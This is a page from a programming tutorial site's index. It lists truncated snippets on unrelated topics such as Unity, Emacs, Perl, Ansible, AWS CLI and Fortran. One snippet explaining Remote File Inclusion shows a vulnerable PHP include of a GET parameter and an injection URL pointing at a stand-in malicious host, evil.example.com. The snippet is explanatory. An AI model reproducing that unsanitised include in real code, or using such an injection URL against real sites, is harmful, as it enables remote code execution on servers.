Tutorial by Examples

ScriptableObjects are serialized objects that are not bound to scenes or gameobjects as MonoBehaviours are. To put it one way, they are data and methods bound to asset files inside your project. These ScriptableObject assets can be passed to MonoBehaviours or other ScriptableObjects, where their pub...
You create new ScriptableObject instances through ScriptableObject.CreateInstance<T>() T obj = ScriptableObject.CreateInstance<T>(); Where T extends ScriptableObject. Do not create ScriptableObjects by calling their constructors, ie. new ScriptableObject(). Creating ScriptableO...
Extra care should be taken when accessing serialized fields in a ScriptableObject instance. If a field is marked public or serialized through SerializeField, changing its value is permanent. They do not reset when exiting playmode like MonoBehaviours do. This can be useful at times, but it can also...
Problem Cross-site scripting is the unintended execution of remote code by a web client. Any web application might expose itself to XSS if it takes input from a user and outputs it directly on a web page. If input includes HTML or JavaScript, remote code can be executed when this content is rende...
preg_match can be used to parse string using regular expression. The parts of expression enclosed in parenthesis are called subpatterns and with them you can pick individual parts of the string. $str = "<a href=\"http://example.org\">My Link</a>"; $pattern = "/...
Remote File Inclusion Remote File Inclusion (also known as RFI) is a type of vulnerability that allows an attacker to include a remote file. This example injects a remotely hosted file containing a malicious code: <?php include $_GET['page']; /vulnerable.php?page=http://evil.example.com/...
You can quit Emacs with the following keybinding: C-x C-c Where C is the control key. Suspend Emacs You can suspend Emacs using the following keybinding : C-z It gets you back to your shell. If you want to resume your emacs session, enter fg in your terminal.
Re-Save open file under the same filename (Save): C-x C-s Write as filename (Save As): C-x C-w filename The new file name will be prompted in the minibuffer. Create new file or load existing file (New / Load): C-x C-f filename With the mnemonic here for f meaning file. You will...
Often you will get into a state where you have a partially typed command sequence in progress, but you want to abort it. You can abort it with either of the following keybindings: C-g EscEscEsc
"Window" in Emacs refers to what might otherwise be called a "pane" or "screen division". Some window manipulation commands include: Split current window horizontally: C-x 2 Split current window vertically: C-x 3 Select next window: C-x o Close current window: C-x...
Example of a buffer list CRM Buffer Size Mode Filename[/Process] . * .emacs 3294 Emacs-Lisp ~/.emacs % *Help* 101 Help search.c 86055 C ~/cvs/emacs/src/search.c % src 2...
Hash references are scalars which contain a pointer to the memory location containing the data of a hash. Because the scalar points directly to the hash itself, when it is passed to a subroutine, changes made to the hash are not local to the subroutine as with a regular hash, but instead are global...
Pre-requisites This article demonstrated installing oozie-4.3.0 on Hadoop 2.7.3 Java 1.7+ Hadoop 2.x (here, 2.7.3) Maven3+ Unix box Step1: Dist file Get oozie tar.gz file from http://www-eu.apache.org/dist/oozie/4.3.0/ and extract it cd $HOME tar -xvf oozie-4.3.0.tar.gz Step2: Build ...
Ansible is best used from a checkout. It runs as you (not root) and it has minimal python dependencies. Python pip dependency install with pip: sudo pip install paramiko PyYAML Jinja2 httplib2 six Next, clone the Ansible repo from GitHub: cd ~/Documents git clone git://github.com/ansible/ans...
The border-[left|right|top|bottom] property is used to add a border to a specific side of an element. For example if you wanted to add a border to the left side of an element, you could do: #element { border-left: 1px solid black; }
Detailed instructions on getting image-processing set up or installed.
Detailed instructions on getting vb6 set up or installed.
dplyr introduces a grammar of data manipulation in R. It provides a consistent interface to work with data no matter where it is stored: data.frame, data.table, or a database. The key pieces of dplyr are written using Rcpp, which makes it very fast for working with in-memory data. dplyr's philosoph...
You can obtain information about EC2 instances using: aws ec2 describe-instances You can obtain information about specific EC2 instances using: aws ec2 describe-instances --instance-ids ... where ... contains one or more instance identifiers. For example: aws ec2 describe-instances --instan...
Before Fortran 95 it was possible to use assigned formats for input or output. Consider integer i, fmt read *, i assign 100 to fmt if (i<100000) assign 200 to fmt print fmt, i 100 format ("This is a big number", I10) 200 format ("This is a small number", I6) e...

Page 457 of 1336